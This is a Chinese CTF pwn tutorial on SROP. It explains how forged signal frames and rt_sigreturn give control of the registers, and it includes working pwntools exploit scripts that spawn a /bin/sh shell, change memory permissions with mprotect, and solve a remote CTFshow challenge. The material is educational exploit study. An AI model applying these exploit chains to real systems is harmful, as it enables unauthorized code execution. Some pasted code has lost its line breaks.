首页/文章/CTF PWN

SROP

SROP 简单学习

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

什么是 SROP?

SROP,全称 Sigreturn Oriented Programming。它是一种 利用 Linux 信号恢复机制的 ROP 技术。 简而言之,攻击者伪造一个 signal frame,然后触发 rt_sigreturn 系统调用,让内核把伪造 frame 里的寄存器值恢复到 CPU 中,从而一次性控制几乎所有寄存器。

rt_sigframe

Real-Time Signal Frame 实时信号上下文结构体,是内核在处理 signal 的时候临时在用户栈上构造的数据结构,在正常情况下,程序捕捉到 signal ,之后内核会保存相关寄存器,之后跳转到 signal handler , 注意 signal handler 是可以接受用户自定义的 handler 的。那么这个是用户态,但是信号的捕获和调度是在内核完成的,于是为了恢复相关寄存器的值,系统就将 rt_sigframe 保存在栈上。

signal return

那么正常情况 signal return 的情况是这样子的

text
程序正在运行信号到来内核把 rax/rdi/rsi/rdx/rsp/rip/... 保存到用户栈上的 rt_sigframe跳到 signal handlerhandler 结束执行 rt_sigreturn syscall内核从用户栈读取 rt_sigframe恢复所有寄存器程序继续从原来的 RIP 执行

但是有个关键点,当程序执行 rt_sigreturn syscall 时,并不会去查看之前是否捕捉到了 signal 信号,只要当我们执行 syscallrax = 15 ,那么程序就会去找 rsp 并将 rsp 保存的值当作 rt_sigframe 并进行恢复

如何构造 exp?

text
paddingpop rax ; ret15syscall ; retfake_sigreturn_frame

我们先触发系统调用,执行 rt_sigreturn syscall ,那么当前 rsp 指向 fake_sigreturn_frame , 我们 fake_sigreturn_frame 构造情况如下

text
rax = 59rdi = "/bin/sh" 地址rdi = 0rsi = 0rip = syscall;retrsp = 某个可控地址

那么当我们恢复时,我们就变成了执行 execve("/bin/sh", 0, 0)
可见,当我们利用 SROP 极大减少了我们需要的 gadget 数量,我们只需要 pop_rax;retsyscall ; ret 两个gadget 即可

如果没有 /bin/sh

我们需要先调用 read 函数,相关 payload 如下

python
from pwn import *offset = pop_rax = 0x401001syscall_ret = 0x40100fbss = elf.bss() + 0x800# 第一阶段:SROP -> read(0, bss, 0x400)frame1 = SigreturnFrame()frame1.rax = 0frame1.rdi = 0frame1.rsi = bssframe1.rdx = 0x400frame1.rip = syscall_retframe1.rsp = bsspayload1 = flat(    b'A' * offset,    pop_rax,    15,    syscall_ret,    frame1)p.send(payload1)# 第二阶段:写入到 bssbinsh = bss + 0x300frame2 = SigreturnFrame()frame2.rax = 59frame2.rdi = binshframe2.rsi = 0frame2.rdx = 0frame2.rip = syscall_retframe2.rsp = bss + 0x380stage2 = flat(    pop_rax,    15,    syscall_ret,    frame2)stage2 = stage2.ljust(0x300, b'\x00')stage2 += b'/bin/sh\x00'p.send(stage2)p.interactive()

调用 mprotect 的思路

python
frame = SigreturnFrame()frame.rax = 10frame.rdi = bss & ~0xfffframe.rsi = 0x1000frame.rdx = 7frame.rip = syscall_retframe.rsp = bss + 0x500 # 用来存放 shell_addr 的 addr 

例题

alt text

alt text

我们可以看见,调用了 read 函数,向 global_buf 写入,同时我们又注意到,执行 rt_sigreturn 之前我们的 rsp 指向 global_buf , 那我们在 global_buff 直接布局 rt_sigframe 即可

pyhton
#! /usr/bin/env python3from pwn import *context.arch = "amd64"context.os = "linux"elf = ELF("./pwn")rop = ROP(elf)#p = process("./pwn")p = remote("pwn.challenge.ctf.show",28247)syscall1 = 0x0000000000400126syscall2 = 0x0000000000400141bss = elf.bss()p.recvuntil(b"Welcome to CTFshowPWN!\n")frame = SigreturnFrame()frame.rax = 0frame.rdi = 0frame.rsi = bssframe.rdx = 0x100frame.rip = syscall1frame.rsp = bsspayload1 = flat(frame)p.send(payload1)bin_sh_addr = bss + 0xf8frame2 = SigreturnFrame()frame2.rax = 59frame2.rdi = bin_sh_addrframe2.rsi = 0frame2.rdx = 0frame2.rip = syscall2frame2 = flat(frame2)payload2 = frame2payload2 += b"/bin/sh\x00"p.send(payload2)p.interactive()

alt text

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...